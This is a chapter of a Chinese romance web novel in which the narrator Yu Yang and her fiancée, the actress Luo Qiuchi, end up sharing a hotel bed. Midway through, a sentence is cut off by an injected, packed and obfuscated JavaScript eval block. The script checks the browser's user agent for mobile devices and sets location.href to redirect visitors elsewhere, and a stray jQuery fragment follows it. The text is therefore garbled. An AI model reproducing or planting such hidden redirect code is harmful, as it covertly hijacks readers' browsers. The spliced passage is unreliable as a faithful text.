11. 睡一张床
作品:《影后是我未婚妻》 但这话一出口,就显得没有那么简单起来。
余央脸更热了,现在,哪怕是厚厚的粉底,都遮不住她脸上的红晕。
她终于意识到自己说了什么。
啊,怎么在洛秋池面前,她总是会说不清楚话,会出糗呢。
余央连忙转过身,拍了拍自己的脸,发现的确很热。
“内个,我乱说的,你不要放在心上哈。”
余央找补。
谁料身后只是传来洛秋池平静的话。
“嗯,我知道了。”
窸窸窣窣袋子声过后,洛秋池已经拿过一盒水果捞,来到了余央面前。
“和阿姨聊天时,聊到你晚上习惯吃点东西,酸奶水果吃了不容易长肉,也健康。”
“就是挑的这些,不知道你喜不喜欢。”
说话间,洛秋池已经掀开了水果捞的盖子,将叉子放进纸盒后,她把手里的东西递到余央面前。
“那、那当然是都很喜欢的。”
余央接过装满酸奶水果的纸盒,看了一眼里面五颜六色的水果。
“哇,我都喜欢吃的。”
“喜欢就好。”
洛秋池看了眼时间,又看看余央的装扮,问:“本来是找你出去玩的,你想去哪里玩?”
余央此刻平静下来:“说实话我没想到你今天会来找我。”
“玩的话,什么时候都可以,今天就算了吧。”
她看了一眼洛秋池,虽然对方状态始终是那么好,但她仍然从对方脸上看到一丝疲倦。
“怎么了?”
“坐飞机坐车都很累的,我想让你休息。”
洛秋池突然笑了,带着点无奈的意味,对余央说:“你啊你。”
“那就听你的。”
二人明明如此说话没多久,可此时此刻,两人对话间的熟络,好似她们这样亲密已经很久了。
“嗯,我去卸妆。”
“余央。”洛秋池叫住了对方。
“啊?”余央停下脚步。
洛秋池静静地看着这身打扮的余央,在她的记忆里,那个跟在她身后偷偷观察她的余央,总是穿得很简单,或者穿着一身校服,从来没有一刻像现在这样,浓妆淡抹,耀眼张扬。
其实余央的长相是很明媚型的,是最适合这种肆意张扬的风格。
洛秋池看了很久。
“真的很漂亮,没有骗你。”
重复的夸赞,但却有了不一样的意味。
那个跟在她身后的小姑娘,好像真的长大了。
余央:“我这算穿上大人的衣服吧?”
洛秋池一笑:“你本来就是大人。”
“好啦,我去卸妆。”
“对了,你染了头发,明天也要这样出席吗?”
余央脚步一顿,回头一笑:“那当然不是咯,这是假发!”
经此一事,她也不想搞什么“惊喜”了,与她而来,这份所谓的惊喜已经变成了她的惊吓,让她从此对这身装扮PTSD,不愿再提起,更别说再这样打扮了!
“原来是这样。那你去卸妆吧。”
进了洗手间的余央面对着大镜子,发现自己的脸确实很红。
她也意识到了一些不同。
从小到大,她面对洛秋池时总是不自然,她知道这一切都源于双方父母那个指腹为婚的约定,以及后来常常提起的玩笑,让她哪怕在聚会上再见到洛秋池,也不好意思多说一句话。
年少时懵懂无知,觉得家里人总这样笑话她,她就不喜欢洛秋池;青春期时,她懵懵懂懂的,在学校里看见那个万众瞩目的人,见到对方温温柔柔地笑着,她总是会忍不住心跳加速,但不知道那到底是怎样一种感觉;再到后来,也许是随着慢慢长大,余央明白了那是怎样一种感情。
而有时候人的初见特别重要,哪怕后来过了很久,却总是以第一印象去看待别人,包括自己。
她总觉得自己还是跟在洛秋池身后的那个小孩。
此刻,她盯着镜子里的自己。
成熟的装扮,散发着女性特有气质的自己,余央的心中升起一种难言的感受,酥酥麻麻的,随后是扑通扑通快速跳起来,到最后心头炸开一种名为“惊喜”的强烈感受。
太好了!
她可以谈恋爱!
她可以结婚!
想到这里,余央动力满满,她加快动作取下假发,卸了妆,从洗手间走出来。
此刻,屋里的洛秋池坐在沙发上看手机,听到动静后抬起头看过来。
“卸好了?”
“嗯啊。”
戴假发闷得头皮不是很舒服,头发一坨一坨黏在头上,余央道:“还得洗个澡。”
“好,那你去吧。”
“等会儿,我得先把水果捞吃了,这可是你特意带给我的。”
余央也来到沙发旁,坐下来,拿过一旁的水果捞就吃起来。
“对了,七七姐,你是下了飞机就过来的吗?”
“嗯。”
洛秋池放下手机,有些无奈:“你能不这样叫我吗?”
余央:“啊?为什么啊?”
洛秋池:“这个称呼真的很奇怪。”
余央心想:哪里奇怪了?
她在心里反复念了几遍“七七姐”,发现真的很奇怪,甚至与“洛洛姐”有异曲同工之妙,她看向洛秋池,扑哧一下笑了出来。
“那好像是,我好像你的助理一样。”
“那就别这样叫了。”
“好。”
“对了,你的行李呢?”余央问洛秋池。
洛秋池:“让唐唐帮我带回去了。”
“那你……”正吃着水果的余央突然一怔,拿着叉子的手停下动作,她看向洛秋池,眼中满是不可置信,“今晚不去玩,那你的意思难不成是,今晚和我过夜?!”
“余央,你的意思是,想让我赶快走吗?”
洛秋池没有顺着这话回答,而是反问了一句。
这话瞬间堵得余央哑口无言。
“怎么可能……”她干巴巴道,“我怎么会赶走你。”
洛秋池:“那好。”
余央放下手里的盒子,脸上仍是不可置信:“那你真要留在这啊?”
“明天我们一起出发,不好吗?”
“阿姨希望你多交朋友,她见了,也会很开心的,对不对。”
不对!
这完全不对啊!
余央在内心呐喊。
但话都说到这个份上了,她完全没办法拒绝。
“那好吧。”
目光落在面前的床上。
这是一米八的大床。
余央弱弱道:“我去找前台给你开个新房间,或者……或者双床房好吗?”
话一说出口,余央就知道自己又踩坑了。
果不其然,洛秋池疑惑反问:“那不是多此一举了?”
“我们都是女生,睡一张床怎么了。”
余央仰头望天,毫无灵魂道:“是啊,都是女生,睡一张床,没什么的。”
可问题是!
洛秋池是她未婚妻啊!
她喜欢洛秋池啊!
正常人谁确定心意前好意思睡一张床!
余央抓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513146|186122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住了重点:“……你一直这样吗?”
洛秋池:“怎么?”
余央:“就是,觉得只要是女生睡一张床都很正常。”
洛秋池却不说话了。
余央:“……对不起,原本就是很正常的事,是我脑子发懵了。”
洛秋池却难得严肃起来,一字一句,认真道:“在别人面前,我是不可能这样随意的。”
这话深想一下就能感觉出话外之意。
但偏偏余央此刻总觉得自己出了糗,脑子里乱乱的,偏偏没听出来,她“嗯”一声,想起洛秋池住的酒店,都是x室x厅,恍惚:“做演员是这样的,根本没有这种烦恼。”
洛秋池不懂余央在说什么。
“那就再开一间吧。”
洛秋池觉得自己确确实实冒犯到了余央。
这些天的相处下来,她早已清楚余央对她是什么心思,只不过很多东西没有挑到明面上来,但她知道,余央对待她,她对待余央,都不可能是像对待旁的同性那般的。
“嗯,有道理。”
“嗯……嗯??”
“什么?再开一间!”
余央终于回神,再次不敢置信。
她只是随口一说,老婆还真答应啊?
这不对吧!
和老婆睡一张床那怎么了!
余央正要胡说八道给自己找补,但当她抬头看向洛秋池时,发现对方周身笼着一层失落,她的心瞬间一疼,像是被针扎了一样,难受得紧。
洛秋池不会那样想。
洛秋池只会觉得:明明都是女生,为什么余央要如此排斥我。
余央看着那么高那么瘦的洛秋池,她差一点就伸出双臂去抱对方了。
不过,她生生忍住。
“我脑子被驴踢了,胡言乱语的,你别放在心上,今晚就睡着,更何况,这个酒店就是普通酒店,要是你自己睡,被狗仔啊私生啊找上门怎么办!”
“再说了,都是女生,睡一张床怎么了?”
“睡!”
洛秋池扑哧一笑,看向余央的目光充满了无奈,她喃喃自语:“这都什么事啊……”
最后,两人还是躺在了一张床上。
晚上十点。
“该睡了。”余央望着天花板,道。
“晚安。”洛秋池的声音没有丝毫困意。
余央:“……我睡不着。”
洛秋池:“我也是。”
余央想起了很久以前的事情,她说:“我好像从来没和你睡过一张床,好神奇,短短一周,我们的关系竟然发展到可以睡一张床了……”
洛秋池:“你忘了,小时候,你来我家玩,到了晚上还闹着不走,那时候和我睡过一张床。”
余央反驳:“怎么可能!”
洛秋池:“是小学的时候。”
余央想半天想不起来:“你胡说,我都不记得了。”
洛秋池没说话了。
“睡吧。”
余央“啪”一下关了灯,却毫无睡意,黑暗中,她能感觉到身旁的洛秋池也没有入睡。
“朋友之间睡前好像都是会谈谈心的?”
“嗯,你说吧。”
余央感觉到电视机电源的红点,叹了口气:“你说酒店里不会有针孔摄像头吧?!”
“还有,我说设计酒店的人真是脑子有病!房间里灯那么暗,厕所的灯却那么亮,门还是是透明的,洗澡的时候真的太尴尬了吧!”
“……”
气氛沉默几秒。
余央尴尬“咳咳”几声。
糟糕!她又把天聊死了!